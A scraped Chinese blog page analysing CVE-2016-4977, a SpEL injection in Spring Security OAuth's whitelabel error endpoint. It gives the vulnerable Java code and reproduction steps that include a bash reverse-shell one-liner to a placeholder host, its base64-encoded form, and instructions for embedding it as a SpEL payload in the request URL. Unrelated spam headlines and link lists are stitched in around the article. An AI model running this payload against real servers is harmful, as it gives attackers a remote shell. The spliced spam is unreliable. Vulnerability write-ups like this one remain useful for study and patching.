当前位置: 首页 > news >正文

公司做网站服务费怎样做账/百度认证怎么认证

公司做网站服务费怎样做账,百度认证怎么认证,手机app制作入门教程,h5网页制作方法文章目录一、Spring简介二、漏洞简介漏洞成因代码分析三、漏洞复现一、Spring简介 Spring框架是由于软件开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松…

文章目录

  • 一、Spring简介
  • 二、漏洞简介
    • 漏洞成因
    • 代码分析
  • 三、漏洞复现


一、Spring简介

Spring框架是由于软件开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益。
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言.

二、漏洞简介

漏洞成因

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

下图的${4*4}就是执行的SpEL表达式。
在这里插入图片描述

代码分析

下述代码在使用Whitelabel views来处理错误时,程序是通过oauthError.getSummary()来获取错误信息。
请求中的${4*4}已经被带入了errorSummary中,然后errorSummary被装入model中,再用SpelView进行渲染

@FrameworkEndpoint
public class WhitelabelErrorEndpoint {private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";@RequestMapping("/oauth/error")public ModelAndView handleError(HttpServletRequest request) {Map<String, Object> model = new HashMap<String, Object>();Object error = request.getAttribute("error");// The error summary may contain malicious user input,// it needs to be escaped to prevent XSSString errorSummary;if (error instanceof OAuth2Exception) {OAuth2Exception oauthError = (OAuth2Exception) error;errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());}else {errorSummary = "Unknown error";}model.put("errorSummary", errorSummary);return new ModelAndView(new SpelView(ERROR), model);}
}

跟进SpelView
render通过helper取${}中的值作为表达式,再用parser.parseExpression来执行,跟进一下replacePlaceholders这个函数,

class SpelView implements View {...public SpelView(String template) {this.template = template;this.context.addPropertyAccessor(new MapAccessor());this.helper = new PropertyPlaceholderHelper("${", "}");this.resolver = new PlaceholderResolver() {public String resolvePlaceholder(String name) {Expression expression = parser.parseExpression(name);Object value = expression.getValue(context);return value == null ? null : value.toString();}};}...public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)throws Exception {...String result = helper.replacePlaceholders(template, resolver);...}
}

跟进replacePlaceholders
如果表达式的值中有${xxx}这样形式的字符串存在,就会再取xxx作为表达式来执行。

public String replacePlaceholders(String value, final Properties properties) {  Assert.notNull(properties, "\'properties\' must not be null");return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {public String resolvePlaceholder(String placeholderName) {return properties.getProperty(placeholderName);}});
}

三、漏洞复现

将请求地址中的SpEL语句:${4*4}替换为我们需要执行的SpEL语句即可利用。

反弹shell方式如下

bash -i >& /dev/tcp/U-IP/Port 0>&1

Base64编码后

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9VLUlQL1BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}

POC(点击获取):将反弹shell语句转变为SpEL语句。执行poc后,在Enter message to encode:后填入经过base64编码的反弹shell语句。
在这里插入图片描述

将生成的SpEL表达式替换掉URL地址中的${4*4},监听端执行监听。
在这里插入图片描述

在这里插入图片描述


参考地址:
https://paper.seebug.org/70/
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.zh-cn.md

http://www.lbrq.cn/news/1271971.html

相关文章:

  • 网站建设工作流程/游戏代理300元一天
  • 做网上竞彩网站合法吗/网站域名查询ip地址
  • 淘外网站怎么做/爱站网ip反查域名
  • 网站开发服务合同范本/免费下优化大师
  • dedecms企业网站模板免费下载/短视频营销的发展趋势
  • 常州专业网站建设公司咨询/软文推广广告公司
  • 如何做网站定位/举例说明seo
  • 基于jsp的电商网站开发/公司网络推广
  • 加盟酒店网站制作/网站开发的步骤
  • wordpress更新配置文件/站长工具seo综合查询收费吗
  • 文山网站开发/长沙网站推广
  • 网店平台网站建设需求/合肥seo网站排名
  • 服装网站功能/南宁seo网站排名优化公司
  • 日本代购网站怎么做的/软文300字介绍商品
  • 丽水网站建设seo/廊坊关键词优化排名
  • saas云建站平台源码/外贸推广平台排名
  • 如何购买网站主机/互联网推广
  • 青岛seo软件/windows11优化大师
  • php做网站用html做吗/没有限制的国外搜索引擎
  • wp做网站/最新新闻热点事件
  • dwcc如何做网站/网络软文发布
  • 做网站地图邮什么好处/小说推文推广平台
  • 企业门户网站的意义/百度百度一下
  • 青岛模板做网站/福州百度推广排名优化
  • 个人网站备案网址导航/广州广告推广公司
  • 电商网站建设推荐/下载百度官方网站
  • 网站开发可以开发哪些/seo专员招聘
  • 日本人真人做真爱免费的网站/微信搜一搜排名优化
  • 阎良网站建设/sem与seo
  • 电话销售做网站犯法吗/网站自然排名优化
  • 从零打造大语言模型--处理文本数据
  • Typora v1.10.8 好用的 Markdown 编辑器
  • 第二十三天(数据结构:链表补充【希尔表】)
  • 【深度学习①】 | Numpy数组篇
  • 从入仓到结算全自动化:易境通如何重构散货拼柜业务流程?
  • 移动端WebView调试实战 跨域问题与授权失败的完整排查流程